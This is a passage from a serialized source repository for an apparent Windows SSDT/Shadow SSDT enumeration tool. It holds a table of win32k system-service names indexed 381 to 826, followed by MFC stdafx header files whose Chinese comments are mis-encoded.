//381\r\n\t,\"NtGdiDdDDIOpenSynchronizationObject\"//382\r\n\t,\"NtGdiDdDDIPollDisplayChildren\" //383\r\n\t,\"NtGdiDdDDIPresent\" //384\r\n\t,\"NtGdiDdDDIQueryAdapterInfo\" //385 \r\n\t,\"NtGdiDdDDIQueryAllocationResidency\"//386\r\n\t,\"NtGdiDdDDIQueryResourceInfo\" //387\r\n\t,\"NtGdiDdDDIQueryStatistics\" //388\r\n\t,\"NtGdiDdDDIReleaseKeyedMutex\"\t //389\r\n\t,\"NtGdiDdDDIReleaseProcessVidPnSourceOwners\"//390\r\n\t,\"NtGdiDdDDIRender\"\t\t //391\r\n\t,\"NtGdiDdDDISetAllocationPriority\"//392\r\n\t,\"NtGdiDdDDISetContextSchedulingPriority\"//393\r\n\t,\"NtGdiDdDDISetDisplayMode\"\t\t //394\r\n\t,\"NtGdiDdDDISetDisplayPrivateDriverFormat\"//395\r\n\t,\"NtGdiDdDDISetGammaRamp\"\t\t //396\r\n\t,\"NtGdiDdDDISetProcessSchedulingPriorityClass\"//397\r\n\t,\"NtGdiDdDDISetQueuedLimit\"\t\t //398\r\n\t,\"NtGdiDdDDISetVidPnSourceOwner\" //399\r\n\t,\"NtGdiDdDDISharedPrimaryLockNotification\"//400\r\n\t,\"NtGdiDdDDISharedPrimaryUnLockNotification\"//401\r\n\t,\"NtGdiDdDDISignalSynchronizationObject\"//402\r\n\t,\"NtGdiDdDDIUnlock\"\t\t //403\r\n\t,\"NtGdiDdDDIUpdateOverlay\"\t\t //404\r\n\t,\"NtGdiDdDDIWaitForIdle\"\t\t //405\r\n\t,\"NtGdiDdDDIWaitForSynchronizationObject\"//406\r\n\t,\"NtGdiDdDDIWaitForVerticalBlankEvent\"//407\r\n\t,\"NtGdiDdDeleteDirectDrawObject\" //408\r\n\t,\"NtGdiDdDestroyD3DBuffer\"\t\t //409\r\n\t,\"NtGdiDdDestroyFullscreenSprite\"//410\r\n\t,\"NtGdiDdDestroyMoComp\"\t\t //411\r\n\t,\"NtGdiDdEndMoCompFrame\"\t\t //412\r\n\t,\"NtGdiDdFlip\"\t\t //413\r\n\t,\"NtGdiDdFlipToGDISurface\"\t\t //414\r\n\t,\"NtGdiDdGetAvailDriverMemory\"\t //415\r\n\t,\"NtGdiDdGetBltStatus\"\t\t //416\r\n\t,\"NtGdiDdGetDC\"\t\t //417\r\n\t,\"NtGdiDdGetDriverInfo\"\t\t //418\r\n\t,\"NtGdiDdGetDriverState\"\t\t //419\r\n\t,\"NtGdiDdGetDxHandle\"\t\t //420\r\n\t,\"NtGdiDdGetFlipStatus\"\t\t //421\r\n\t,\"NtGdiDdGetInternalMoCompInfo\"\t //422\r\n\t,\"NtGdiDdGetMoCompBuffInfo\"\t\t //423\r\n\t,\"NtGdiDdGetMoCompFormats\"\t\t //424\r\n\t,\"NtGdiDdGetMoCompGuids\"\t\t //425\r\n\t,\"NtGdiDdGetScanLine\"\t\t //426\r\n\t,\"NtGdiDdLock\"\t\t //427\r\n\t,\"NtGdiDdNotifyFullscreenSpriteUpdate\"//428\r\n\t,\"NtGdiDdQueryDirectDrawObject\"\t //429\r\n\t,\"NtGdiDdQueryMoCompStatus\"\t\t //430\r\n\t,\"NtGdiDdQueryVisRgnUniqueness\"\t //431\r\n\t,\"NtGdiDdReenableDirectDrawObject\"//432\r\n\t,\"NtGdiDdReleaseDC\"\t\t //433\r\n\t,\"NtGdiDdRenderMoComp\"\t\t\t //434\r\n\t,\"NtGdiDdSetColorKey\"\t\t\t //435\r\n\t,\"NtGdiDdSetExclusiveMode\"\t\t //436\r\n\t,\"NtGdiDdSetGammaRamp\"\t\t\t //437\r\n\t,\"NtGdiDdSetOverlayPosition\"\t //438\r\n\t,\"NtGdiDdUnattachSurface\"\t\t //439\r\n\t,\"NtGdiDdUnlock\"\t\t\t //440\r\n\t,\"NtGdiDdUpdateOverlay\"\t\t\t //441\r\n\t,\"NtGdiDdWaitForVerticalBlank\"\t //442\r\n\t,\"NtGdiDeleteColorTransform\"\t //443\r\n\t,\"NtGdiDescribePixelFormat\"\t\t //444\r\n\t,\"NtGdiDestroyOPMProtectedOutput\"//445\r\n\t,\"NtGdiDestroyPhysicalMonitor\"\t //446\r\n\t,\"NtGdiDoBanding\"\t\t\t\t //447\r\n\t,\"NtGdiDrawEscape\"\t\t\t\t //448\r\n\t,\"NtGdiDvpAcquireNotification\"\t //449\r\n\t,\"NtGdiDvpCanCreateVideoPort\"\t //450\r\n\t,\"NtGdiDvpColorControl\"\t\t\t //451\r\n\t,\"NtGdiDvpCreateVideoPort\"\t\t //452\r\n\t,\"NtGdiDvpDestroyVideoPort\"\t\t //453\r\n\t,\"NtGdiDvpFlipVideoPort\"\t\t //454\r\n\t,\"NtGdiDvpGetVideoPortBandwidth\" //455\r\n\t,\"NtGdiDvpGetVideoPortConnectInfo\"//456\r\n\t,\"NtGdiDvpGetVideoPortField\"\t //457\r\n\t,\"NtGdiDvpGetVideoPortFlipStatus\"//458\r\n\t,\"NtGdiDvpGetVideoPortInputFormats\"//459\r\n\t,\"NtGdiDvpGetVideoPortLine\"\t\t //460\r\n\t,\"NtGdiDvpGetVideoPortOutputFormats\"//461\r\n\t,\"NtGdiDvpGetVideoSignalStatus\"\t //462\r\n\t,\"NtGdiDvpReleaseNotification\"\t //463\r\n\t,\"NtGdiDvpUpdateVideoPort\"\t\t //464\r\n\t,\"NtGdiDvpWaitForVideoPortSync\"\t //465\r\n\t,\"NtGdiDxgGenericThunk\"\t\t //466\r\n\t,\"NtGdiEllipse\"\t\t\t\t\t //467\r\n\t,\"NtGdiEnableEudc\"\t\t\t\t //468\r\n\t,\"NtGdiEndDoc\"\t\t\t\t //469\r\n\t,\"NtGdiEndGdiRendering\"\t\t\t //470\r\n\t,\"NtGdiEndPage\"\t\t\t\t\t //471\r\n\t,\"NtGdiEngAlphaBlend\"\t\t\t //472\r\n\t,\"NtGdiEngAssociateSurface\"\t\t //473\r\n\t,\"NtGdiEngBitBlt\"\t\t\t\t //474\r\n\t,\"NtGdiEngCheckAbort\"\t\t //475\r\n\t,\"NtGdiEngComputeGlyphSet\"\t\t //476\r\n\t,\"NtGdiEngCopyBits\"\t\t\t\t //477\r\n\t,\"NtGdiEngCreateBitmap\"\t\t\t //478\r\n\t,\"NtGdiEngCreateClip\"\t\t\t //479\r\n\t,\"NtGdiEngCreateDeviceBitmap\"\t //480\r\n\t,\"NtGdiEngCreateDeviceSurface\"\t //481\r\n\t,\"NtGdiEngCreatePalette\"\t\t //482\r\n\t,\"NtGdiEngDeleteClip\"\t\t\t //483\r\n\t,\"NtGdiEngDeletePalette\"\t\t //484\r\n\t,\"NtGdiEngDeletePath\"\t\t\t //485\r\n\t,\"NtGdiEngDeleteSurface\"\t\t //486\r\n\t,\"NtGdiEngEraseSurface\"\t\t\t //487\r\n\t,\"NtGdiEngFillPath\"\t\t\t\t //488\r\n\t,\"NtGdiEngGradientFill\"\t\t\t //489\r\n\t,\"NtGdiEngLineTo\"\t\t\t\t //490\r\n\t,\"NtGdiEngLockSurface\"\t\t\t //491\r\n\t,\"NtGdiEngMarkBandingSurface\"\t //492\r\n\t,\"NtGdiEngPaint\"\t\t\t\t //493\r\n\t,\"NtGdiEngPlgBlt\"\t\t\t\t //494\r\n\t,\"NtGdiEngStretchBlt\"\t\t\t //495\r\n\t,\"NtGdiEngStretchBltROP\"\t\t //496\r\n\t,\"NtGdiEngStrokeAndFillPath\"\t //497\r\n\t,\"NtGdiEngStrokePath\"\t\t\t //498\r\n\t,\"NtGdiEngTextOut\"\t\t\t\t //499\r\n\t,\"NtGdiEngTransparentBlt\"\t\t //500\r\n\t,\"NtGdiEngUnlockSurface\"\t\t //501\r\n\t,\"NtGdiEnumFonts\"\t\t\t\t //502\r\n\t,\"NtGdiEnumObjects\"\t\t\t\t //503\r\n\t,\"NtGdiEudcLoadUnloadLink\"\t\t //504\r\n\t,\"NtGdiExtFloodFill\"\t\t\t //505\r\n\t,\"NtGdiFONTOBJ_cGetAllGlyphHandles\"\t//506\r\n\t,\"NtGdiFONTOBJ_cGetGlyphs\"\t\t //507\r\n\t,\"NtGdiFONTOBJ_pQueryGlyphAttrs\" //508\r\n\t,\"NtGdiFONTOBJ_pfdg\"\t\t\t //509\r\n\t,\"NtGdiFONTOBJ_pifi\"\t\t\t //510\r\n\t,\"NtGdiFONTOBJ_pvTrueTypeFontFile\"//511\r\n\t,\"NtGdiFONTOBJ_pxoGetXform\"\t\t //512\r\n\t,\"NtGdiFONTOBJ_vGetInfo\"\t\t //513\r\n\t,\"NtGdiFlattenPath\"\t\t\t\t //514\r\n\t,\"NtGdiFontIsLinked\"\t\t\t //515\r\n\t,\"NtGdiForceUFIMapping\"\t\t //516\r\n\t,\"NtGdiFrameRgn\"\t\t //517\r\n\t,\"NtGdiFullscreenControl\"\t\t //518\r\n\t,\"NtGdiGetBoundsRect\"\t\t //519\r\n\t,\"NtGdiGetCOPPCompatibleOPMInformation\"//520\r\n\t,\"NtGdiGetCertificate\"\t\t\t //521\r\n\t,\"NtGdiGetCertificateSize\"\t\t //522\r\n\t,\"NtGdiGetCharABCWidthsW\"\t\t //523\r\n\t,\"NtGdiGetCharacterPlacementW\"\t //524\r\n\t,\"NtGdiGetColorAdjustment\"\t\t //525\r\n\t,\"NtGdiGetColorSpaceforBitmap\"\t //526\r\n\t,\"NtGdiGetDeviceCaps\"\t\t\t //527\r\n\t,\"NtGdiGetDeviceCapsAll\"\t\t //528\r\n\t,\"NtGdiGetDeviceGammaRamp\"\t\t //529\r\n\t,\"NtGdiGetDeviceWidth\"\t\t\t //530\r\n\t,\"NtGdiGetDhpdev\"\t\t\t\t //531\r\n\t,\"NtGdiGetETM\"\t\t\t\t\t //532\r\n\t,\"NtGdiGetEmbUFI\"\t\t\t\t //533\r\n\t,\"NtGdiGetEmbedFonts\"\t\t\t //534\r\n\t,\"NtGdiGetEudcTimeStampEx\"\t\t //535\r\n\t,\"NtGdiGetFontFileData\"\t\t\t //536\r\n\t,\"NtGdiGetFontFileInfo\"\t\t\t //537\r\n\t,\"NtGdiGetFontResourceInfoInternalW\"//538\r\n\t,\"NtGdiGetFontUnicodeRanges\"\t //539\r\n\t,\"NtGdiGetGlyphIndicesW\"\t\t //540\r\n\t,\"NtGdiGetGlyphIndicesWInternal\" //541\r\n\t,\"NtGdiGetGlyphOutline\"\t\t\t //542\r\n\t,\"NtGdiGetKerningPairs\"\t\t\t //543\r\n\t,\"NtGdiGetLinkedUFIs\"\t\t\t //544\r\n\t,\"NtGdiGetMiterLimit\"\t\t\t //545\r\n\t,\"NtGdiGetMonitorID\"\t\t\t //546\r\n\t,\"NtGdiGetNumberOfPhysicalMonitors\"\t//547\r\n\t,\"NtGdiGetOPMInformation\"\t\t //548\r\n\t,\"NtGdiGetOPMRandomNumber\"\t\t //549\r\n\t,\"NtGdiGetObjectBitmapHandle\"\t //550\r\n\t,\"NtGdiGetPath\"\t\t\t\t\t //551\r\n\t,\"NtGdiGetPerBandInfo\"\t\t\t //552\r\n\t,\"NtGdiGetPhysicalMonitorDescription\"//553\r\n\t,\"NtGdiGetPhysicalMonitors\"\t\t //554\r\n\t,\"NtGdiGetRealizationInfo\"\t\t //555\r\n\t,\"NtGdiGetServerMetaFileBits\"\t //556\r\n\t,\"DxgStubAlphaBlt\"\t\t\t\t //557\r\n\t,\"NtGdiGetStats\"\t\t\t\t //558\r\n\t,\"NtGdiGetStringBitmapW\"\t\t //559\r\n\t,\"NtGdiGetSuggestedOPMProtectedOutputArraySize\"//560\r\n\t,\"NtGdiGetTextExtentExW\"\t\t //561\r\n\t,\"NtGdiGetUFI\"\t\t\t\t\t //562\r\n\t,\"NtGdiGetUFIPathname\"\t\t\t //563\r\n\t,\"NtGdiGradientFill\"\t\t\t //564\r\n\t,\"NtGdiHLSurfGetInformation\"\t //565\r\n\t,\"NtGdiHLSurfSetInformation\"\t //566\r\n\t,\"NtGdiHT_Get8BPPFormatPalette\"\t //567\r\n\t,\"NtGdiHT_Get8BPPMaskPalette\"\t //568\r\n\t,\"NtGdiIcmBrushInfo\"\t\t\t //569\r\n\t,\"EngRestoreFloatingPointState\"\t //570\r\n\t,\"NtGdiInitSpool\"\t\t\t\t //571\r\n\t,\"NtGdiMakeFontDir\"\t\t\t\t //572\r\n\t,\"NtGdiMakeInfoDC\"\t\t\t\t //573\r\n\t,\"NtGdiMakeObjectUnXferable\"\t //574\r\n\t,\"NtGdiMakeObjectXferable\"\t\t //575\r\n\t,\"NtGdiMirrorWindowOrg\"\t\t\t //576\r\n\t,\"NtGdiMonoBitmap\"\t\t\t\t //577\r\n\t,\"NtGdiMoveTo\"\t\t\t\t\t //578\r\n\t,\"NtGdiOffsetClipRgn\"\t\t\t //579\r\n\t,\"NtGdiPATHOBJ_bEnum\"\t\t\t //580\r\n\t,\"NtGdiPATHOBJ_bEnumClipLines\"\t //581\r\n\t,\"NtGdiPATHOBJ_vEnumStart\"\t\t //582\r\n\t,\"NtGdiPATHOBJ_vEnumStartClipLines\"//583\r\n\t,\"NtGdiPATHOBJ_vGetBounds\"\t\t //584\r\n\t,\"NtGdiPathToRegion\"\t\t\t //585\r\n\t,\"NtGdiPlgBlt\"\t\t\t\t\t //586\r\n\t,\"NtGdiPolyDraw\"\t\t\t\t //587\r\n\t,\"NtGdiPolyTextOutW\"\t\t\t //588\r\n\t,\"NtGdiPtInRegion\"\t\t\t\t //589\r\n\t,\"NtGdiPtVisible\"\t\t\t\t //590\r\n\t,\"NtGdiQueryFonts\"\t\t\t\t //591\r\n\t,\"NtGdiRemoveFontResourceW\"\t\t //592\r\n\t,\"NtGdiRemoveMergeFont\"\t\t\t //593\r\n\t,\"NtGdiResetDC\"\t\t\t\t\t //594\r\n\t,\"NtGdiResizePalette\"\t\t\t //595\r\n\t,\"NtGdiRoundRect\"\t\t\t\t //596\r\n\t,\"NtGdiSTROBJ_bEnum\"\t\t\t //597\r\n\t,\"NtGdiSTROBJ_bEnumPositionsOnly\"//598\r\n\t,\"NtGdiSTROBJ_bGetAdvanceWidths\" //599\r\n\t,\"NtGdiSTROBJ_dwGetCodePage\"\t //600\r\n\t,\"NtGdiSTROBJ_vEnumStart\"\t\t //601\r\n\t,\"NtGdiScaleViewportExtEx\"\t\t //602\r\n\t,\"NtGdiScaleWindowExtEx\"\t\t //603\r\n\t,\"NtGdiSelectBrush\"\t\t\t\t //604\r\n\t,\"NtGdiSelectClipPath\"\t\t\t //605\r\n\t,\"NtGdiSelectPen\"\t\t\t\t //606\r\n\t,\"NtGdiSetBitmapAttributes\"\t\t //607\r\n\t,\"NtGdiSetBrushAttributes\"\t\t //608\r\n\t,\"NtGdiSetColorAdjustment\"\t\t //609\r\n\t,\"NtGdiSetColorSpace\"\t\t\t //610\r\n\t,\"NtGdiSetDeviceGammaRamp\"\t\t //611\r\n\t,\"NtGdiSetFontXform\"\t\t\t //612\r\n\t,\"NtGdiSetIcmMode\"\t\t\t\t //613\r\n\t,\"NtGdiSetLinkedUFIs\"\t\t\t //614\r\n\t,\"NtGdiSetMagicColors\"\t\t\t //615\r\n\t,\"NtGdiSetOPMSigningKeyAndSequenceNumbers\"//616\r\n\t,\"NtGdiSetPUMPDOBJ\"\t\t\t\t //617\r\n\t,\"NtGdiSetPixelFormat\"\t\t\t //618\r\n\t,\"NtGdiSetRectRgn\"\t\t\t\t //619\r\n\t,\"NtGdiSetSizeDevice\"\t\t\t //620\r\n\t,\"NtGdiSetSystemPaletteUse\"\t\t //621\r\n\t,\"NtGdiSetTextJustification\"\t //622\r\n\t,\"NtGdiSfmGetNotificationTokens\" //623\r\n\t,\"NtGdiStartDoc\"\t\t\t\t //624\r\n\t,\"NtGdiStartPage\"\t\t\t\t //625\r\n\t,\"NtGdiStrokeAndFillPath\"\t\t //626\r\n\t,\"NtGdiStrokePath\"\t\t\t\t //627\r\n\t,\"NtGdiSwapBuffers\"\t\t\t\t //628\r\n\t,\"NtGdiTransparentBlt\"\t\t\t //629\r\n\t,\"NtGdiUMPDEngFreeUserMem\"\t\t //630\r\n\t,\"DxgStubAlphaBlt\"\t\t\t\t //631\r\n\t,\"EngRestoreFloatingPointState\"\t //632\r\n\t,\"NtGdiUpdateColors\"\t\t\t //633\r\n\t,\"NtGdiUpdateTransform\"\t\t\t //634\r\n\t,\"NtGdiWidenPath\"\t\t\t\t //635\r\n\t,\"NtGdiXFORMOBJ_bApplyXform\"\t //636\r\n\t,\"NtGdiXFORMOBJ_iGetXform\"\t\t //637\r\n\t,\"NtGdiXLATEOBJ_cGetPalette\"\t //638\r\n\t,\"NtGdiXLATEOBJ_hGetColorTransform\"//639\r\n\t,\"NtGdiXLATEOBJ_iXlate\"\t\t\t //640\r\n\t,\"NtUserAddClipboardFormatListener\"//641\r\n\t,\"NtUserAssociateInputContext\"\t //642\r\n\t,\"NtUserBlockInput\"\t\t\t\t //643\r\n\t,\"NtUserBuildHimcList\"\t\t\t //644\r\n\t,\"NtUserBuildPropList\"\t\t\t //645\r\n\t,\"NtUserCalculatePopupWindowPosition\"//646\r\n\t,\"NtUserCallHwndOpt\"\t\t\t //647\r\n\t,\"NtUserChangeDisplaySettings\"\t //648\r\n\t,\"NtUserChangeWindowMessageFilterEx\"//649\r\n\t,\"NtUserCheckAccessForIntegrityLevel\"//650\r\n\t,\"NtUserCheckDesktopByThreadId\"\t //651\r\n\t,\"NtUserCheckWindowThreadDesktop\"//652\r\n\t,\"NtUserChildWindowFromPointEx\"\t //653\r\n\t,\"NtUserClipCursor\"\t\t\t\t //654\r\n\t,\"NtUserCreateDesktopEx\"\t //655\r\n\t,\"NtUserCreateInputContext\"\t\t //656\r\n\t,\"NtUserCreateWindowStation\"\t //657\r\n\t,\"NtUserCtxDisplayIOCtl\"\t\t //658\r\n\t,\"NtUserDestroyInputContext\"\t //659\r\n\t,\"NtUserDisableThreadIme\"\t\t //660\r\n\t,\"NtUserDisplayConfigGetDeviceInfo\"//661\r\n\t,\"NtUserDisplayConfigSetDeviceInfo\"//662\r\n\t,\"NtUserDoSoundConnect\"\t\t\t //663\r\n\t,\"NtUserDoSoundDisconnect\"\t\t //664\r\n\t,\"NtUserDragDetect\"\t\t\t\t //665\r\n\t,\"NtUserDragObject\"\t\t\t\t //666\r\n\t,\"NtUserDrawAnimatedRects\"\t\t //667\r\n\t,\"NtUserDrawCaption\"\t\t\t //668\r\n\t,\"NtUserDrawCaptionTemp\"\t\t //669\r\n\t,\"NtUserDrawMenuBarTemp\"\t\t //670\r\n\t,\"NtUserDwmStartRedirection\"\t //671\r\n\t,\"NtUserDwmStopRedirection\"\t\t //672\r\n\t,\"NtUserEndMenu\"\t\t\t\t //673\r\n\t,\"NtUserEndTouchOperation\"\t\t //674\r\n\t,\"NtUserEvent\"\t\t\t\t\t //675\r\n\t,\"NtUserFlashWindowEx\"\t\t //676\r\n\t,\"NtUserFrostCrashedWindow\"\t\t //677\r\n\t,\"NtUserGetAppImeLevel\"\t\t\t //678\r\n\t,\"NtUserGetCaretPos\"\t\t\t //679\r\n\t,\"NtUserGetClipCursor\"\t\t\t //680\r\n\t,\"NtUserGetClipboardViewer\"\t\t //681\r\n\t,\"NtUserGetComboBoxInfo\"\t\t //682\r\n\t,\"NtUserGetCursorInfo\"\t\t\t //683\r\n\t,\"NtUserGetDisplayConfigBufferSizes\"//684\r\n\t,\"NtUserGetGestureConfig\"\t\t //685\r\n\t,\"NtUserGetGestureExtArgs\"\t\t //686\r\n\t,\"NtUserGetGestureInfo\"\t\t\t //687\r\n\t,\"NtUserGetGuiResources\"\t\t //688\r\n\t,\"NtUserGetImeHotKey\"\t\t\t //689\r\n\t,\"NtUserGetImeInfoEx\"\t\t\t //690\r\n\t,\"NtUserGetInputLocaleInfo\"\t\t //691\r\n\t,\"NtUserGetInternalWindowPos\"\t //692\r\n\t,\"NtUserGetKeyNameText\"\t\t\t //693\r\n\t,\"NtUserGetKeyboardLayoutName\"\t //694\r\n\t,\"NtUserGetLayeredWindowAttributes\"//695\r\n\t,\"NtUserGetListBoxInfo\"\t\t\t //696\r\n\t,\"NtUserGetMenuIndex\"\t\t\t //697\r\n\t,\"NtUserGetMenuItemRect\"\t\t //698\r\n\t,\"NtUserGetMouseMovePointsEx\"\t //699\r\n\t,\"NtUserGetPriorityClipboardFormat\"//700\r\n\t,\"NtUserGetRawInputBuffer\"\t\t //701\r\n\t,\"NtUserGetRawInputData\"\t\t //702\r\n\t,\"NtUserGetRawInputDeviceInfo\"\t //703\r\n\t,\"NtUserGetRawInputDeviceList\"\t //704\r\n\t,\"NtUserGetRegisteredRawInputDevices\"//705\r\n\t,\"NtUserGetTopLevelWindow\"\t\t //706\r\n\t,\"NtUserGetTouchInputInfo\"\t\t //707\r\n\t,\"NtUserGetUpdatedClipboardFormats\"//708\r\n\t,\"NtUserGetWOWClass\"\t\t\t //709\r\n\t,\"NtUserGetWindowCompositionAttribute\"//710\r\n\t,\"NtUserGetWindowCompositionInfo\"//711\r\n\t,\"NtUserGetWindowDisplayAffinity\"//712\r\n\t,\"NtUserGetWindowMinimizeRect\"\t //713\r\n\t,\"NtUserGetWindowRgnEx\"\t\t\t //714\r\n\t,\"NtUserGhostWindowFromHungWindow\"//715\r\n\t,\"NtUserHardErrorControl\"\t\t //716\r\n\t,\"NtUserHiliteMenuItem\"\t\t\t //717\r\n\t,\"NtUserHungWindowFromGhostWindow\"//718\r\n\t,\"NtUserHwndQueryRedirectionInfo\"//719\r\n\t,\"NtUserHwndSetRedirectionInfo\"\t //720\r\n\t,\"NtUserImpersonateDdeClientWindow\"//721\r\n\t,\"NtUserInitTask\"\t\t\t\t //722\r\n\t,\"NtUserInitialize\"\t\t\t //723\r\n\t,\"NtUserInitializeClientPfnArrays\"//724\r\n\t,\"NtUserInjectGesture\"\t\t\t //725\r\n\t,\"NtUserInternalGetWindowIcon\"\t //726\r\n\t,\"NtUserIsTopLevelWindow\"\t\t //727\r\n\t,\"NtUserIsTouchWindow\"\t\t\t //728\r\n\t,\"NtUserLoadKeyboardLayoutEx\"\t //729\r\n\t,\"NtUserLockWindowStation\"\t\t //730\r\n\t,\"NtUserLockWorkStation\"\t\t //731\r\n\t,\"NtUserLogicalToPhysicalPoint\"\t //732\r\n\t,\"NtUserMNDragLeave\"\t\t\t //733\r\n\t,\"NtUserMNDragOver\"\t\t\t\t //734\r\n\t,\"NtUserMagControl\"\t\t\t\t //735\r\n\t,\"NtUserMagGetContextInformation\"//736\r\n\t,\"NtUserMagSetContextInformation\"//737\r\n\t,\"NtUserManageGestureHandlerWindow\"//738\r\n\t,\"NtUserMenuItemFromPoint\"\t\t //739\r\n\t,\"NtUserMinMaximize\"\t\t\t //740\r\n\t,\"NtUserModifyWindowTouchCapability\"//741\r\n\t,\"NtUserNotifyIMEStatus\"\t\t //742\r\n\t,\"NtUserOpenInputDesktop\"\t\t //743\r\n\t,\"NtUserOpenThreadDesktop\"\t\t //744\r\n\t,\"NtUserPaintMonitor\"\t\t\t //745\r\n\t,\"NtUserPhysicalToLogicalPoint\"\t //746\r\n\t,\"NtUserPrintWindow\"\t\t\t //747\r\n\t,\"NtUserQueryDisplayConfig\"\t\t //748\r\n\t,\"NtUserQueryInformationThread\"\t //749\r\n\t,\"NtUserQueryInputContext\"\t\t //750\r\n\t,\"NtUserQuerySendMessage\"\t\t //751\r\n\t,\"NtUserRealChildWindowFromPoint\"//752\r\n\t,\"NtUserRealWaitMessageEx\"\t\t //753\r\n\t,\"NtUserRegisterErrorReportingDialog\"//754\r\n\t,\"NtUserRegisterHotKey\"\t\t\t //755\r\n\t,\"NtUserRegisterRawInputDevices\" //756\r\n\t,\"NtUserRegisterServicesProcess\" //757\r\n\t,\"NtUserRegisterSessionPort\"\t //758\r\n\t,\"NtUserRegisterTasklist\"\t\t //759\r\n\t,\"NtUserRegisterUserApiHook\"\t //760\r\n\t,\"NtUserRemoteConnect\"\t\t\t //761\r\n\t,\"NtUserRemoteRedrawRectangle\"\t //762\r\n\t,\"NtUserRemoteRedrawScreen\"\t\t //763\r\n\t,\"NtUserRemoteStopScreenUpdates\" //764\r\n\t,\"NtUserRemoveClipboardFormatListener\"//765\r\n\t,\"NtUserResolveDesktopForWOW\"\t //766\r\n\t,\"NtUserSendTouchInput\"\t\t\t //767\r\n\t,\"NtUserSetAppImeLevel\"\t\t\t //768\r\n\t,\"NtUserSetChildWindowNoActivate\"//769\r\n\t,\"NtUserSetClassWord\"\t\t\t //770\r\n\t,\"NtUserSetCursorContents\"\t\t //771\r\n\t,\"NtUserSetDisplayConfig\"\t\t //772\r\n\t,\"NtUserSetGestureConfig\"\t\t //773\r\n\t,\"NtUserSetImeHotKey\"\t\t\t //774\r\n\t,\"NtUserSetImeInfoEx\"\t\t\t //775\r\n\t,\"NtUserSetImeOwnerWindow\"\t\t //776\r\n\t,\"NtUserSetInternalWindowPos\"\t //777\r\n\t,\"NtUserSetLayeredWindowAttributes\"\t//778\r\n\t,\"NtUserSetMenu\"\t\t\t\t //779\r\n\t,\"NtUserSetMenuContextHelpId\"\t //780\r\n\t,\"NtUserSetMenuFlagRtoL\"\t\t //781\r\n\t,\"NtUserSetMirrorRendering\"\t\t //782\r\n\t,\"NtUserSetObjectInformation\"\t //783\r\n\t,\"NtUserSetProcessDPIAware\"\t\t //784\r\n\t,\"NtUserSetShellWindowEx\"\t\t //785\r\n\t,\"NtUserSetSysColors\"\t\t\t //786\r\n\t,\"NtUserSetSystemCursor\"\t\t //787\r\n\t,\"NtUserSetSystemTimer\"\t\t\t //788\r\n\t,\"NtUserSetThreadLayoutHandles\"\t //789\r\n\t,\"NtUserSetWindowCompositionAttribute\"//790\r\n\t,\"NtUserSetWindowDisplayAffinity\"//791\r\n\t,\"NtUserSetWindowRgnEx\"\t\t\t //792\r\n\t,\"NtUserSetWindowStationUser\"\t //793\r\n\t,\"NtUserSfmDestroyLogicalSurfaceBinding\"//794\r\n\t,\"NtUserSfmDxBindSwapChain\"\t\t //795\r\n\t,\"NtUserSfmDxGetSwapChainStats\"\t //796\r\n\t,\"NtUserSfmDxOpenSwapChain\"\t\t //797\r\n\t,\"NtUserSfmDxQuerySwapChainBindingStatus\"//798\r\n\t,\"NtUserSfmDxReleaseSwapChain\"\t //799\r\n\t,\"NtUserSfmDxReportPendingBindingsToDwm\"//800\r\n\t,\"NtUserSfmDxSetSwapChainBindingStatus\"//801\r\n\t,\"NtUserSfmDxSetSwapChainStats\"\t //802\r\n\t,\"NtUserSfmGetLogicalSurfaceBinding\"//803\r\n\t,\"NtUserShowSystemCursor\"\t\t //804\r\n\t,\"NtUserSoundSentry\"\t\t\t //805\r\n\t,\"NtUserSwitchDesktop\"\t\t\t //806\r\n\t,\"NtUserTestForInteractiveUser\"\t //807\r\n\t,\"NtUserTrackPopupMenuEx\"\t\t //808\r\n\t,\"NtUserUnloadKeyboardLayout\"\t //809\r\n\t,\"NtUserUnlockWindowStation\"\t //810\r\n\t,\"NtUserUnregisterHotKey\"\t\t //811\r\n\t,\"NtUserUnregisterSessionPort\"\t //812\r\n\t,\"NtUserUnregisterUserApiHook\"\t //813\r\n\t,\"NtUserUpdateInputContext\"\t\t //814\r\n\t,\"NtUserUpdateInstance\"\t\t\t //815\r\n\t,\"NtUserUpdateLayeredWindow\"\t //816\r\n\t,\"NtUserUpdatePerUserSystemParameters\"//817\r\n\t,\"NtUserUpdateWindowTransform\"\t //818\r\n\t,\"NtUserUserHandleGrantAccess\"\t //819\r\n\t,\"NtUserValidateHandleSecure\"\t //820\r\n\t,\"NtUserWaitForInputIdle\"\t\t //821\r\n\t,\"NtUserWaitForMsgAndEvent\"\t\t //822\r\n\t,\"NtUserWindowFromPhysicalPoint\" //823\r\n\t,\"NtUserYieldTask\"\t\t\t\t //824\r\n\t,\"NtUserSetClassLongPtr\"\t\t //825\r\n\t,\"NtUserSetWindowLongPtr\"\t\t //826\r\n};" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManager/EnumSSSDTManager/res/ReadMe.txt", "content": "R3\n" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManager/EnumSSSDTManager/stdafx.cpp", "content": "\r\n// stdafx.cpp : ֻ׼ļԴļ\r\n// EnumSSSDTManager.pch ΪԤͷ\r\n// stdafx.obj ԤϢ\r\n\r\n#include \"stdafx.h\"\r\n\r\n\r\n" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManager/EnumSSSDTManager/stdafx.h", "content": "\r\n// stdafx.h : ׼ϵͳļİļ\r\n// Ǿʹõĵ\r\n// ضĿİļ\r\n\r\n#pragma once\r\n\r\n#ifndef _SECURE_ATL\r\n#define _SECURE_ATL 1\r\n#endif\r\n\r\n#ifndef VC_EXTRALEAN\r\n#define VC_EXTRALEAN // Windows ͷųʹõ\r\n#endif\r\n\r\n#include \"targetver.h\"\r\n\r\n#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // ijЩ CString 캯ʽ\r\n\r\n// ر MFC ijЩɷĺԵľϢ\r\n#define _AFX_ALL_WARNINGS\r\n\r\n#include // MFC ͱ׼\r\n#include // MFC չ\r\n\r\n\r\n#include // MFC Զ\r\n\r\n\r\n\r\n#ifndef _AFX_NO_OLE_SUPPORT\r\n#include // MFC Internet Explorer 4 ؼ֧\r\n#endif\r\n#ifndef _AFX_NO_AFXCMN_SUPPORT\r\n#include // MFC Windows ؼ֧\r\n#endif // _AFX_NO_AFXCMN_SUPPORT\r\n\r\n#include // Ϳؼ MFC ֧\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#ifdef _UNICODE\r\n#if defined _M_IX86\r\n#pragma comment(linker,\"/manifestdependency:\\\"type='win32' name='Microsoft.Windows.Common-Controls' 